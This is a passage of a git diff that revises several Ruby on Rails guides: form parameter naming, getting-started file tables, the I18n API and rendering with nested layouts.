+Once a file has been uploaded there are a multitude of potential tasks, ranging from where to store the files (on disk, Amazon S3, etc) and associating them with models to resizing image files and generating thumbnails. The intricacies of this are beyond the scope of this guide, but there are several plugins designed to assist with these. Two of the better known ones are http://github.com/technoweenie/attachment_fu[Attachment-Fu] and http://www.thoughtbot.com/projects/paperclip[Paperclip].
+
+NOTE: If the user has not selected a file the corresponding parameter will be an empty string.
+
+Dealing with Ajax
+~~~~~~~~~~~~~~~~~
+Unlike other forms making an asynchronous file upload form is not as simple as replacing `form_for` with `remote_form_for`. With an AJAX form the serialization is done by javascript running inside the browser and since javascript cannot read files from your hard drive the file cannot be uploaded. The most common workaround is to use an invisible iframe that serves as the target for the form submission.
+
+Parameter Names
+---------------
+[[parameter_names]]
+As you've seen in the previous sections values from forms can appear either at the top level of the params hash or may appear nested in another hash. For example in a standard create
+action for a Person model, `params[:model]` would usually be a hash of all the attributes for the person to create. The params hash can also contain arrays, arrays of hashes and so on.
+
+Fundamentally HTML forms don't know about any sort of structured data. All they know about is name-value pairs. Rails tacks some conventions onto parameter names which it uses to express some structure.
+
+[TIP]
+========================
+You may find you can try out examples in this section faster by using the console to directly invoke Rails' parameter parser. For example
+
+-------------
+ActionController::RequestParser.parse_query_parameters "name=fred&phone=0123456789"
+#=> {"name"=>"fred", "phone"=>"0123456789"}
+-------------
+========================
+
+Basic structures
+~~~~~~~~~~~~~~~
+The two basic structures are arrays and hashes. Hashes mirror the syntax used for accessing the value in the params. For example if a form contains
+-----------------
+<input id="person_name" name="person[name]" type="text" value="Henry"/>
+-----------------
+the params hash will contain
+
+[source, ruby]
+-----------------
+{'person' => {'name' => 'Henry'}}
+-----------------
+and `params["name"]` will retrieve the submitted value in the controller.
+
+Hashes can be nested as many levels as required, for example
+------------------
+<input id="person_address_city" name="person[address][city]" type="text" value="New York"/>
+------------------
+will result in the params hash being
+
+[source, ruby]
+-----------------
+{'person' => {'address' => {'city' => 'New York'}}}
+-----------------
+
+Normally Rails ignores duplicate parameter names. If the parameter name contains [] then they will be accumulated in an array. If you wanted people to be able to input multiple phone numbers, your could place this in the form:
+-----------------
+<input name="person[phone_number][]" type="text"/>
+<input name="person[phone_number][]" type="text"/>
+<input name="person[phone_number][]" type="text"/>
+-----------------
+This would result in `params[:person][:phone_number]` being an array.
+
+Combining them
+~~~~~~~~~~~~~~
+We can mix and match these two concepts. For example, one element of a hash might be an array as in the previous example, or you can have an array of hashes. For example a form might let you create any number of addresses by repeating the following form fragment
+-----------------
+<input name="addresses[][line1]" type="text"/>
+<input name="addresses[][line2]" type="text"/>
+<input name="addresses[][city]" type="text"/>
+-----------------
+This would result in `params[:addresses]` being an array of hashes with keys `line1`, `line2` and `city`. Rails decides to start accumulating values in a new hash whenever it encounters a input name that already exists in the current hash.
+
+The one restriction is that although hashes can be nested arbitrarily deep then can be only one level of "arrayness". Frequently arrays can be usually replaced by hashes, for example instead of having an array of model objects one can have a hash of model objects keyed by their id.
+
+[WARNING]
+Array parameters do not play well with the `check_box` helper. According to the HTML specification unchecked checkboxes submit no value. However it is often convenient for a checkbox to always submit a value. The `check_box` helper fakes this by creating a second hidden input with the same name. If the checkbox is unchecked only the hidden input is submitted. If the checkbox is checked then both are submitted but the value submitted by the checkbox takes precedence. When working with array parameters this duplicate submission will confuse Rails since duplicate input names are how it decides when to start a new hash. It is preferable to either use `check_box_tag` or to use hashes instead of arrays.
+
+Using form helpers
+~~~~~~~~~~~~~~~~~
+The previous sections did not use the Rails form helpers at all. While you can craft the input names yourself and pass them directly to helpers such as `text_field_tag` Rails also provides higher level support. The two tools at your disposal here are the name parameter to `form_for`/`fields_for` and the `:index` option.
+
+You might want to render a form with a set of edit fields for each of a person's addresses. Something a little like this will do the trick
+
+--------
+<% form_for @person do |person_form| %>
+ <%= person_form.text_field :name%>
+ <% for address in @person.addresses %>
+ <% person_form.fields_for address, :index => address do |address_form|%>
+ <%= address_form.text_field :city %>
+ <% end %>
+ <% end %>
+<% end %>
+--------
+Assuming our person had two addresses, with ids 23 and 45 this would create output similar to this:
+--------
+<form action="/people/1" class="edit_person" id="edit_person_1" method="post">
+ <input id="person_name" name="person[name]" size="30" type="text" />
+ <input id="person_address_23_city" name="person[address][23][city]" size="30" type="text" />
+ <input id="person_address_45_city" name="person[address][45][city]" size="30" type="text" />
+</form>
+--------
+This will result in a params hash that looks like
+
+[source, ruby]
+--------
+{'person' => {'name' => 'Bob', 'address' => { '23' => {'city' => 'Paris'}, '45' => {'city' => 'London'} }}}
+--------
+
+Rails knows that all these inputs should be part of the person hash because you called `fields_for` on the first form builder. By specifying an `:index` option you're telling rails that instead of naming the inputs `person[address][city]` it should insert that index surrounded by [] between the address and the city. If you pass an Active Record object as we did then Rails will call `to_param` on it, which by default returns the database id. This is often useful it is then easy to locate which Address record should be modified but you could pass numbers with some other significance, strings or even nil (which will result in an array parameter being created).
+
+To create more intricate nestings, you can specify the first part of the input name (`person[address]` in the previous example) explicitly, for example
+--------
+<% fields_for 'person[address][primary]', address, :index => address do |address_form| %>
+ <%= address_form.text_field :city %>
+<% end %>
+--------
+will create inputs like
+--------
+<input id="person_address_primary_1_city" name="person[address][primary][1][city]" size="30" type="text" value="bologna" />
+--------
+As a general rule the final input name is the concatenation of the name given to `fields_for`/`form_for`, the index value and the name of the attribute. You can also pass an `:index` option directly to helpers such as `text_field`, but usually it is less repetitive to specify this at the form builder level rather than on individual input controls.
+
+As a shortcut you can append [] to the name and omit the `:index` option. This is the same as specifing `:index => address` so
+--------
+<% fields_for 'person[address][primary][]', address do |address_form| %>
+ <%= address_form.text_field :city %>
+<% end %>
+--------
+produces exactly the same output as the previous example.
+
+Complex forms
+-------------
+
+Many apps grow beyond simple forms editing a single object. For example when creating a Person instance you might want to allow the user to (on the same form) create multiple address records (home, work etc.). When later editing that person the user should be able to add, remove or amend addresses as necessary. While this guide has shown you all the pieces necessary to handle this, Rails does not yet have a standard end-to-end way of accomplishing this, but many have come up with viable approaches. These include:
+
+* Ryan Bates' series of railscasts on http://railscasts.com/episodes/75[complex forms]
+* Handle Multiple Models in One Form from http://media.pragprog.com/titles/fr_arr/multiple_models_one_form.pdf[Advanced Rails Recipes]
+* Eloy Duran's http://github.com/alloy/complex-form-examples/tree/alloy-nested_params[nested_params] plugin
+* Lance Ivy's http://github.com/cainlevy/nested_assignment/tree/master[nested_assignment] plugin and http://github.com/cainlevy/complex-form-examples/tree/cainlevy[sample application]
+* James Golick's http://github.com/giraffesoft/attribute_fu/tree[attribute_fu] plugin
+
+== Changelog ==
+
+http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/1[Lighthouse ticket]
+
+.Authors
+* Mislav Marohnić <mislav.marohnic@gmail.com>
+* link:../authors.html#fcheung[Frederick Cheung]
diff --git a/railties/doc/guides/source/getting_started_with_rails.txt b/railties/doc/guides/source/getting_started_with_rails.txt
index 58eff9fd3d..7e87c2935e 100644
--- a/railties/doc/guides/source/getting_started_with_rails.txt
+++ b/railties/doc/guides/source/getting_started_with_rails.txt
@@ -163,24 +163,23 @@ $ cd blog
In any case, Rails will create a folder in your working directory called +blog+. Open up that folder and explore its contents. Most of the work in this tutorial will happen in the +app/+ folder, but here's a basic rundown on the function of each folder that Rails creates in a new application by default:
-[grid="all"]
-`-----------`-----------------------------------------------------------------------------------------------------------------------------
-File/Folder Purpose
-------------------------------------------------------------------------------------------------------------------------------------------
-+README+ This is a brief instruction manual for your application. Use it to tell others what your application does, how to set it up, and so on.
-+Rakefile+ This file contains batch jobs that can be run from the terminal.
-+app/+ Contains the controllers, models, and views for your application. You'll focus on this folder for the remainder of this guide.
-+config/+ Configure your application's runtime rules, routes, database, and more.
-+db/+ Shows your current database schema, as well as the database migrations. You'll learn about migrations shortly.
-+doc/+ In-depth documentation for your application.
-+lib/+ Extended modules for your application (not covered in this guide).
-+log/+ Application log files.
-+public/+ The only folder seen to the world as-is. This is where your images, javascript, stylesheets (CSS), and other static files go.
-+script/+ Scripts provided by Rails to do recurring tasks, such as benchmarking, plugin installation, and starting the console or the web server.
-+test/+ Unit tests, fixtures, and other test apparatus. These are covered in link:../testing_rails_applications.html[Testing Rails Applications]
-+tmp/+ Temporary files
-+vendor/+ A place for third-party code. In a typical Rails application, this includes Ruby Gems, the Rails source code (if you install it into your project) and plugins containing additional prepackaged functionality.
--------------------------------------------------------------------------------------------------------------------------------------------
+[options="header"]
+|==========================================================================================================
+|File/Folder |Purpose
+|+README+ |This is a brief instruction manual for your application. Use it to tell others what your application does, how to set it up, and so on.
+|+Rakefile+ |This file contains batch jobs that can be run from the terminal.
+|+app/+ |Contains the controllers, models, and views for your application. You'll focus on this folder for the remainder of this guide.
+|+config/+ |Configure your application's runtime rules, routes, database, and more.
+|+db/+ |Shows your current database schema, as well as the database migrations. You'll learn about migrations shortly.
+|+doc/+ |In-depth documentation for your application.
+|+lib/+ |Extended modules for your application (not covered in this guide).
+|+log/+ |Application log files.
+|+public/+ |The only folder seen to the world as-is. This is where your images, javascript, stylesheets (CSS), and other static files go.
+|+script/+ |Scripts provided by Rails to do recurring tasks, such as benchmarking, plugin installation, and starting the console or the web server.
+|+test/+ |Unit tests, fixtures, and other test apparatus. These are covered in link:../testing_rails_applications.html[Testing Rails Applications]
+|+tmp/+ |Temporary files
+|+vendor/+ |A place for third-party code. In a typical Rails application, this includes Ruby Gems, the Rails source code (if you install it into your project) and plugins containing additional prepackaged functionality.
+|==========================================================================================================
=== Configuring a Database
@@ -339,25 +338,24 @@ NOTE: While scaffolding will get you up and running quickly, the "one size fits
The scaffold generator will build 13 files in your application, along with some folders, and edit one more. Here's a quick overview of what it creates:
-[grid="all"]
-`---------------------------------------------`--------------------------------------------------------------------------------------------
-File Purpose
-------------------------------------------------------------------------------------------------------------------------------------------
-app/models/post.rb The Post model
-db/migrate/20081013124235_create_posts.rb Migration to create the posts table in your database (your name will include a different timestamp)
-app/views/posts/index.html.erb A view to display an index of all posts
-app/views/posts/show.html.erb A view to display a single post
-app/views/posts/new.html.erb A view to create a new post
-app/views/posts/edit.html.erb A view to edit an existing post
-app/views/layouts/posts.html.erb A view to control the overall look and feel of the other posts views
-public/stylesheets/scaffold.css Cascading style sheet to make the scaffolded views look better
-app/controllers/posts_controller.rb The Posts controller
-test/functional/posts_controller_test.rb Functional testing harness for the posts controller
-app/helpers/posts_helper.rb Helper functions to be used from the posts views
-config/routes.rb Edited to include routing information for posts
-test/fixtures/posts.yml Dummy posts for use in testing
-test/unit/post_test.rb Unit testing harness for the posts model
--------------------------------------------------------------------------------------------------------------------------------------------
+[options="header"]
+|==========================================================================================================
+|File |Purpose
+|app/models/post.rb |The Post model
+|db/migrate/20081013124235_create_posts.rb |Migration to create the posts table in your database (your name will include a different timestamp)
+|app/views/posts/index.html.erb |A view to display an index of all posts
+|app/views/posts/show.html.erb |A view to display a single post
+|app/views/posts/new.html.erb |A view to create a new post
+|app/views/posts/edit.html.erb |A view to edit an existing post
+|app/views/layouts/posts.html.erb |A view to control the overall look and feel of the other posts views
+|public/stylesheets/scaffold.css |Cascading style sheet to make the scaffolded views look better
+|app/controllers/posts_controller.rb |The Posts controller
+|test/functional/posts_controller_test.rb |Functional testing harness for the posts controller
+|app/helpers/posts_helper.rb |Helper functions to be used from the posts views
+|config/routes.rb |Edited to include routing information for posts
+|test/fixtures/posts.yml |Dummy posts for use in testing
+|test/unit/post_test.rb |Unit testing harness for the posts model
+|==========================================================================================================
=== Running a Migration
diff --git a/railties/doc/guides/source/i18n.txt b/railties/doc/guides/source/i18n.txt
index ba3cc42a5b..e80de7adc9 100644
--- a/railties/doc/guides/source/i18n.txt
+++ b/railties/doc/guides/source/i18n.txt
@@ -1,32 +1,38 @@
-The Rails Internationalization API
-==================================
+The Rails Internationalization (I18n) API
+=========================================
-The Ruby I18n gem which is shipped with Ruby on Rails (starting from Rails 2.2) provides an easy-to-use and extensible framework for translating your application to a single custom language other than English or providing multi-language support in your application.
+The Ruby I18n (shorthand for _internationalization_) gem which is shipped with Ruby on Rails (starting from Rails 2.2) provides an easy-to-use and extensible framework for translating your application to a single custom language other than English or providing multi-language support in your application.
+
+NOTE: The Ruby I18n framework provides you with all neccessary means for internationalization/localization of your Rails application. You may, however, use any of various plugins and extensions available. See Rails http://rails-i18n.org/wiki[I18n Wiki] for more information.
== How I18n in Ruby on Rails works
-Internationalization is a complex problem. Natural languages differ in so many ways that it is hard to provide tools for solving all problems at once. For that reason the Rails I18n API focusses on:
+Internationalization is a complex problem. Natural languages differ in so many ways (eg. in pluralization rules) that it is hard to provide tools for solving all problems at once. For that reason the Rails I18n API focuses on:
* providing support for English and similar languages out of the box
* making it easy to customize and extend everything for other languages
+As part of this solution, *every static string in the Rails framework* -- eg. ActiveRecord validation messages, time and date formats -- *has been internationalized*, so _localization_ of a Rails application means "over-riding" these defaults.
+
=== The overall architecture of the library
Thus, the Ruby I18n gem is split into two parts:
-* The public API which is just a Ruby module with a bunch of public methods and definitions how the library works.
-* A shipped backend (which is intentionally named the Simple backend) that implements these methods.
+* The public API of the i18n framework -- a Ruby module with public methods and definitions how the library works
+* A default backend (which is intentionally named _Simple_ backend) that implements these methods
-As a user you should always only access the public methods on the I18n module but it is useful to know about the capabilities of the backend you use and maybe exchange the shipped Simple backend with a more powerful one.
+As a user you should always only access the public methods on the I18n module, but it is useful to know about the capabilities of the backend.
+
+NOTE: It is possible (or even desirable) to swap the shipped Simple backend with a more powerful one, which would store translation data in a relational database, GetText dictionary, or similar. See section <<_using_different_backends,Using different backends>> below.
=== The public I18n API
-We will go into more detail about the public methods later but here's a quick overview. The most important methods are:
+The most important methods of the I18n API are:
[source, ruby]
-------------------------------------------------------
-translate # lookup translations
-localize # localize Date and Time objects to local formats
+translate # Lookup text translations
+localize # Localize Date and Time objects to local formats
-------------------------------------------------------
These have the aliases #t and #l so you can use them like this:
@@ -41,28 +47,42 @@ There are also attribute readers and writers for the following attributes:
[source, ruby]
-------------------------------------------------------
-load_path # announce your custom translation files
-locale # get and set the current locale
-default_locale # get and set the default locale
-exception_handler # use a different exception_handler
-backend # use a different backend
+load_path # Announce your custom translation files
+locale # Get and set the current locale
+default_locale # Get and set the default locale
+exception_handler # Use a different exception_handler
+backend # Use a different backend
-------------------------------------------------------
-== Walkthrough: setup a simple I18n'ed Rails application
+So, let's internationalize a simple Rails application from the ground up in the next chapters!
+
+== Setup the Rails application for internationalization
-There are just a few, simple steps to get up and running with a I18n support for your application.
+There are just a few, simple steps to get up and running with I18n support for your application.
=== Configure the I18n module
-Rails will wire up all required settings for you with sane defaults. If you need different settings you can overwrite them easily.
+Following the _convention over configuration_ philosophy, Rails will set-up your application with reasonable defaults. If you need different settings, you can overwrite them easily.
+
+Rails adds all +.rb+ and +.yml+ files from +config/locales+ directory to your *translations load path*, automatically.
+
+See the default +en.yml+ locale in this directory, containing a sample pair of translation strings:
+
+[source, ruby]
+-------------------------------------------------------
+en:
+ hello: "Hello world"
+-------------------------------------------------------
-The I18n library will use English (:en) as a *default locale* by default. I.e if you don't set a different locale, :en will be used for looking up translations. Also, Rails adds all files from config/locales/*.rb,yml to your translations load path.
+This means, that in the +:en+ locale, the key _hello_ will map to _Hello world_ string. Every string inside Rails is internationalized in this way, see for instance ActiveRecord validation messages in the http://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml[+activerecord/lib/active_record/locale/en.yml+] file or time and date formats in the http://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml[+activesupport/lib/active_support/locale/en.yml+] file. You can use YAML or standard Ruby Hashes to store translations in the default (Simple) backend.
-The *translations load path* (I18n.load_path) is just a Ruby Array of paths to your translation files that will be loaded automatically and available in your application. You can pick whatever directory and translation file naming scheme makes sense for you.
+The I18n library will use *English* as a *default locale*, ie. if you don't set a different locale, +:en+ will be used for looking up translations.
-(Hint: The backend will lazy-load these translations when a translation is looked up for the first time. This makes it possible to just swap the backend with something else even after translations have already been announced.)
+The *translations load path* (+I18n.load_path+) is just a Ruby Array of paths to your translation files that will be loaded automatically and available in your application. You can pick whatever directory and translation file naming scheme makes sense for you.
-The default environment.rb says:
+NOTE: The backend will lazy-load these translations when a translation is looked up for the first time. This makes it possible to just swap the backend with something else even after translations have already been announced.
+
+The default +environment.rb+ files has instruction how to add locales from another directory and how to set different default locale. Just uncomment and edit the specific lines.
[source, ruby]
-------------------------------------------------------
@@ -75,22 +95,22 @@ The default environment.rb says:
=== Optional: custom I18n configuration setup
-For the sake of completeness let's mention that if you do not want to use the environment for some reason you can always wire up things manually, too.
+For the sake of completeness, let's mention that if you do not want to use the +environment.rb+ file for some reason, you can always wire up things manually, too.
-To tell the I18n library where it can find your custom translation files you can specify the load path anywhere in your application - just make sure it gets run before any translations are actually looked up. You might also want to change the default locale. The simplest thing possible is to put the following into an initializer:
+To tell the I18n library where it can find your custom translation files you can specify the load path anywhere in your application - just make sure it gets run before any translations are actually looked up. You might also want to change the default locale. The simplest thing possible is to put the following into an *initializer*:
[source, ruby]
-------------------------------------------------------
# in config/initializer/locale.rb
# tell the I18n library where to find your translations
-I18n.load_path += Dir[ File.join(RAILS_ROOT, 'lib', 'locale', '*.{rb,yml}') ]
+I18n.load_path << Dir[ File.join(RAILS_ROOT, 'lib', 'locale', '*.{rb,yml}') ]
-# you can omit this if you're happy with English as a default locale
+# set default locale to something else then :en
I18n.default_locale = :pt
-------------------------------------------------------
-=== Set the locale in each request
+=== Setting and passing the locale
By default the I18n library will use :en (English) as a I18n.default_locale for looking up translations (if you do not specify a locale for a lookup).
@@ -510,25 +530,30 @@ So, for example, instead of the default error message "can not be blank" you cou
count and/or value are available where applicable. Count can be used for pluralization if present:
-|==================================================================================
-| validation | with option | message | interpolation
-| validates_confirmation_of | - | :confirmation | -
-| validates_acceptance_of | - | :accepted | -
-| validates_presence_of | - | :blank | -
-| validates_length_of | :within, :in | :too_short | count
-| validates_length_of | :within, :in | :too_long | count
-| validates_length_of | :is | :wrong_length | count
-| validates_length_of | :minimum | :too_short | count
-| validates_length_of | :maximum | :too_long | count
-| validates_uniqueness_of | - | :taken | value
-| validates_format_of | - | :invalid | value
-| validates_inclusion_of | - | :inclusion | value
-| validates_exclusion_of | - | :exclusion | value
-| validates_associated | - | :invalid | value
-| validates_numericality_of | - | :not_a_number | value
-| validates_numericality_of | :odd | :odd | value
-| validates_numericality_of | :even | :even | value
-|==================================================================================
+|=====================================================================================================
+| validation | with option | message | interpolation
+| validates_confirmation_of | - | :confirmation | -
+| validates_acceptance_of | - | :accepted | -
+| validates_presence_of | - | :blank | -
+| validates_length_of | :within, :in | :too_short | count
+| validates_length_of | :within, :in | :too_long | count
+| validates_length_of | :is | :wrong_length | count
+| validates_length_of | :minimum | :too_short | count
+| validates_length_of | :maximum | :too_long | count
+| validates_uniqueness_of | - | :taken | value
+| validates_format_of | - | :invalid | value
+| validates_inclusion_of | - | :inclusion | value
+| validates_exclusion_of | - | :exclusion | value
+| validates_associated | - | :invalid | value
+| validates_numericality_of | - | :not_a_number | value
+| validates_numericality_of | :greater_than | :greater_than | value
+| validates_numericality_of | :greater_than_or_equal_to | :greater_than_or_equal_to | value
+| validates_numericality_of | :equal_to | :equal_to | value
+| validates_numericality_of | :less_than | :less_than | value
+| validates_numericality_of | :less_than_or_equal_to | :less_than_or_equal_to | value
+| validates_numericality_of | :odd | :odd | value
+| validates_numericality_of | :even | :even | value
+|=====================================================================================================
==== Translations for the ActiveRecord error_messages_for helper
@@ -624,9 +649,6 @@ I18n.t :foo, :raise => true # always re-raises exceptions from the backend
[[[3]]] One of these reasons is that we don't want to any unnecessary load for applications that do not need any I18n capabilities, so we need to keep the I18n library as simple as possible for English. Another reason is that it is virtually impossible to implement a one-fits-all solution for all problems related to I18n for all existing languages. So a solution that allows us to exchange the entire implementation easily is appropriate anyway. This also makes it much easier to experiment with custom features and extensions.
-== Credits
-
-== NOTES
-
-How to contribute?
+== Changelog ==
+http://rails.lighthouseapp.com/projects/16213/tickets/23[Lighthouse ticket]
diff --git a/railties/doc/guides/source/images/customized_error_messages.png b/railties/doc/guides/source/images/customized_error_messages.png
new file mode 100644
index 0000000000..fa676991e3
--- /dev/null
+++ b/railties/doc/guides/source/images/customized_error_messages.png
Binary files differ
diff --git a/railties/doc/guides/source/images/error_messages.png b/railties/doc/guides/source/images/error_messages.png
new file mode 100644
index 0000000000..32de1cac21
--- /dev/null
+++ b/railties/doc/guides/source/images/error_messages.png
Binary files differ
diff --git a/railties/doc/guides/source/images/validation_error_messages.png b/railties/doc/guides/source/images/validation_error_messages.png
new file mode 100644
index 0000000000..622d35da5d
--- /dev/null
+++ b/railties/doc/guides/source/images/validation_error_messages.png
Binary files differ
diff --git a/railties/doc/guides/source/index.txt b/railties/doc/guides/source/index.txt
index a5648fb757..b32d8ef7b1 100644
--- a/railties/doc/guides/source/index.txt
+++ b/railties/doc/guides/source/index.txt
@@ -1,6 +1,11 @@
-Ruby on Rails guides
+Ruby on Rails Guides
====================
+These guides are designed to make you immediately productive with Rails, and to help you understand how all of the pieces fit together. There are two different versions of the Guides site, and you should be sure to use the one that applies to your situation:
+
+* http://guides.rubyonrails.org/[Current Release version] - based on Rails 2.2
+* http://guides.rails.info/[Edge Rails version] - based on the Rails 2.3 branch
+
WARNING: This page is the result of ongoing http://hackfest.rubyonrails.org/guide[Rails Guides hackfest] and a work in progress.
CAUTION: Guides marked with this icon are currently being worked on. While they might still be useful to you, they may contain incomplete information and even errors. You can help by reviewing them and posting your comments and corrections at the respective Lighthouse ticket.
@@ -23,16 +28,23 @@ Everything you need to know to install Rails and create your first application.
This guide covers how you can use Active Record migrations to alter your database in a structured and organized manner.
***********************************************************
+.link:activerecord_validations_callbacks.html[Active Record Validations and Callbacks]
+***********************************************************
+CAUTION: link:http://rails.lighthouseapp.com/projects/16213/tickets/26[Lighthouse Ticket]
+
+This guide covers how you can use Active Record validations and callbacks.
+***********************************************************
+
.link:association_basics.html[Active Record Associations]
***********************************************************
This guide covers all the associations provided by Active Record.
***********************************************************
-.link:finders.html[Active Record Finders]
+.link:active_record_querying.html[Active Record Query Interface]
***********************************************************
CAUTION: link:http://rails.lighthouseapp.com/projects/16213/tickets/16[Lighthouse Ticket]
-This guide covers the find method defined in ActiveRecord::Base, as well as named scopes.
+This guide covers the database query interface provided by Active Record.
***********************************************************
++++++++++++++++++++++++++++++++++++++
@@ -101,11 +113,9 @@ ways of achieving this and how to understand what is happening "behind the scene
of your code.
***********************************************************
-.link:benchmarking_and_profiling.html[Benchmarking and Profiling Rails Applications]
+.link:performance_testing.html[Performance Testing Rails Applications]
***********************************************************
-CAUTION: link:http://rails.lighthouseapp.com/projects/16213/tickets/4[Lighthouse Ticket]
-
-This guide covers ways to analyze and optimize your running Rails code.
+This guide covers ways to benchmark and profile your Rails application.
***********************************************************
.link:creating_plugins.html[The Basics of Creating Rails Plugins]
@@ -115,13 +125,20 @@ This guide covers how to build a plugin to extend the functionality of Rails.
.link:i18n.html[The Rails Internationalization API]
***********************************************************
-CAUTION: still a basic draft
+CAUTION: link:http://rails.lighthouseapp.com/projects/16213/tickets/23[Lighthouse ticket]
This guide introduces you to the basic concepts and features of the Rails I18n API and shows you how to localize your application.
***********************************************************
+.link:configuring.html[Configuring Rails Applications]
+***********************************************************
+This guide covers the basic configuration settings for a Rails application.
+***********************************************************
-
+.link:command_line.html[Rails Command Line Tools and Rake tasks]
+***********************************************************
+This guide covers the command line tools and rake tasks provided by Rails.
+***********************************************************
Authors who have contributed to complete guides are listed link:authors.html[here].
diff --git a/railties/doc/guides/source/layouts_and_rendering.txt b/railties/doc/guides/source/layouts_and_rendering.txt
index 8f1fae5007..23cb83c512 100644
--- a/railties/doc/guides/source/layouts_and_rendering.txt
+++ b/railties/doc/guides/source/layouts_and_rendering.txt
@@ -6,6 +6,7 @@ This guide covers the basic layout features of Action Controller and Action View
* Use the various rendering methods built in to Rails
* Create layouts with multiple content sections
* Use partials to DRY up your views
+* Use nested layouts (sub-templates)
== Overview: How the Pieces Fit Together
@@ -34,9 +35,9 @@ def show
end
-------------------------------------------------------
-Rails will automatically render +app/views/books/show.html.erb+ after running the method. In fact, if you have the default catch-all route in place (+map.connect ':controller/:action/:id'+), Rails will even render views that don't have any code at all in the controller. For example, if you have the default route in place and a request comes in for +/books/sale_list+, Rails will render +app/views/books/sale_list.html.erb+ in response.
+Rails will automatically render +app/views/books/show.html.erb+ after running the method. In fact, if you have the default catch-all route in place (+map.connect \':controller/:action/:id'+), Rails will even render views that don't have any code at all in the controller. For example, if you have the default route in place and a request comes in for +/books/sale_list+, Rails will render +app/views/books/sale_list.html.erb+ in response.
-NOTE: The actual rendering is done by subclasses of +ActionView::TemplateHandlers+. This guide does not dig into that process, but it's important to know that the file extension on your view controls the choice of template handler. In Rails 2, the standard extensions are +.erb+ for ERB (HTML with embedded Ruby), +.rjs+ for RJS (javascript with embedded ruby) and +.builder+ for Builder (XML generator). You'll also find +.rhtml+ used for ERB templates and .rxml for Builder templates, but those extensions are now formally deprecated and will be removed from a future version of Rails.
+NOTE: The actual rendering is done by subclasses of +ActionView::TemplateHandlers+. This guide does not dig into that process, but it's important to know that the file extension on your view controls the choice of template handler. In Rails 2, the standard extensions are +.erb+ for ERB (HTML with embedded Ruby), +.rjs+ for RJS (javascript with embedded ruby) and +.builder+ for Builder (XML generator). You'll also find +.rhtml+ used for ERB templates and +.rxml+ for Builder templates, but those extensions are now formally deprecated and will be removed from a future version of Rails.
=== Using +render+
@@ -57,9 +58,9 @@ This will send an empty response to the browser (though it will include any stat
TIP: You should probably be using the +head+ method, discussed later in this guide, instead of +render :nothing+. This provides additional flexibility and makes it explicit that you're only generating HTTP headers.
-==== Using +render+ with +:action+
+==== Rendering an Action's View
-If you want to render the view that corresponds to a different action within the same template, you can use +render+ with the +:action+ option:
+If you want to render the view that corresponds to a different action within the same template, you can use +render+ with the name of the view:
[source, ruby]
-------------------------------------------------------
@@ -68,28 +69,71 @@ def update
if @book.update_attributes(params[:book])
redirect_to(@book)
else
- render :action => "edit"
+ render "edit"
end
end
end
-------------------------------------------------------
+If the call to +update_attributes+ fails, calling the +update+ action in this controller will render the +edit.html.erb+ template belonging to the same controller.
-If the call to +update_attributes_ fails, calling the +update+ action in this controller will render the +edit.html.erb+ template belonging to the same controller.
+If you prefer, you can use a symbol instead of a string to specify the action to render:
+
+[source, ruby]
+-------------------------------------------------------
+def update
+ @book = Book.find(params[:id])
+ if @book.update_attributes(params[:book])
+ redirect_to(@book)
+ else
+ render :edit
+ end
+ end
+end
+-------------------------------------------------------
+
+To be explicit, you can use +render+ with the +:action+ option (though this is no longer necessary as of Rails 2.3):
+
+[source, ruby]
+-------------------------------------------------------
+def update
+ @book = Book.find(params[:id])
+ if @book.update_attributes(params[:book])
+ redirect_to(@book)
+ else
+ render :action => "edit"
+ end
+ end
+end
+-------------------------------------------------------
WARNING: Using +render+ with +:action+ is a frequent source of confusion for Rails newcomers. The specified action is used to determine which view to render, but Rails does _not_ run any of the code for that action in the controller. Any instance variables that you require in the view must be set up in the current action before calling +render+.
-==== Using +render+ with +:template+
+==== Rendering an Action's Template from Another Controller
-What if you want to render a template from an entirely different controller from the one that contains the action code? You can do that with the +:template+ option to +render+, which accepts the full path (relative to +app/views+) of the template to render. For example, if you're running code in an +AdminProductsController+ that lives in +app/controllers/admin+, you can render the results of an action to a template in +app/views/products+ this way:
+What if you want to render a template from an entirely different controller from the one that contains the action code? You can also do that with +render+, which accepts the full path (relative to +app/views+) of the template to render. For example, if you're running code in an +AdminProductsController+ that lives in +app/controllers/admin+, you can render the results of an action to a template in +app/views/products+ this way:
+
+[source, ruby]
+-------------------------------------------------------
+render 'products/show'
+-------------------------------------------------------
+
+Rails knows that this view belongs to a different controller because of the embedded slash character in the string. If you want to be explicit, you can use the +:template+ option (which was required on Rails 2.2 and earlier):
[source, ruby]
-------------------------------------------------------
render :template => 'products/show'
-------------------------------------------------------
-==== Using +render+ with +:file+
+==== Rendering an Arbitrary File
+
+The +render+ method can also use a view that's entirely outside of your application (perhaps you're sharing views between two Rails applications):
+
+[source, ruby]
+-------------------------------------------------------
+render "/u/apps/warehouse_app/current/app/views/products/show"
+-------------------------------------------------------
-If you want to use a view that's entirely outside of your application (perhaps you're sharing views between two Rails applications), you can use the +:file+ option to +render+:
+Rails determines that this is a file render because of the leading slash character. To be explicit, you can use the +:file+ option (which was required on Rails 2.2 and earlier):
[source, ruby]
-------------------------------------------------------
@@ -98,7 +142,9 @@ render :file => "/u/apps/warehouse_app/current/app/views/products/show"
The +:file+ option takes an absolute file-system path. Of course, you need to have rights to the view that you're using to render the content.
-NOTE: By default, if you use the +:file+ option, the file is rendered without using the current layout. If you want Rails to put the file into the current layout, you need to add the +:layout => true+ option
+NOTE: By default, the file is rendered without using the current layout. If you want Rails to put the file into the current layout, you need to add the +:layout => true+ option.
+
+TIP: If you're running on Microsoft Windows, you should use the +:file+ option to render a file, because Windows filenames do not have the same format as Unix filenames.
==== Using +render+ with +:inline+
@@ -931,10 +977,59 @@ Rails determines the name of the partial to use by looking at the model name in
In this case, Rails will use the customer or employee partials as appropriate for each member of the collection.
+=== Using Nested Layouts
+
+You may find that your application requires a layout that differs slightly from your regular application layout to support one particular controller. Rather than repeating the main layout and editing it, you can accomplish this by using nested layouts (sometimes called sub-templates). Here's an example:
+
+Suppose you have the follow ApplicationController layout:
+
++app/views/layouts/application.erb+
+
+[source, html]
+-------------------------------------------------------
+<html>
+<head>
+ <title><%= @page_title %><title>
+ <% stylesheet_tag 'layout' %>
+ <style type="text/css"><%= yield :stylesheets %></style>
+<head>
+<body>
+ <div id="top_menu">Top menu items here</div>
+ <div id="menu">Menu items here</div>
+ <div id="main"><%= yield %></div>
+</body>
+</html>
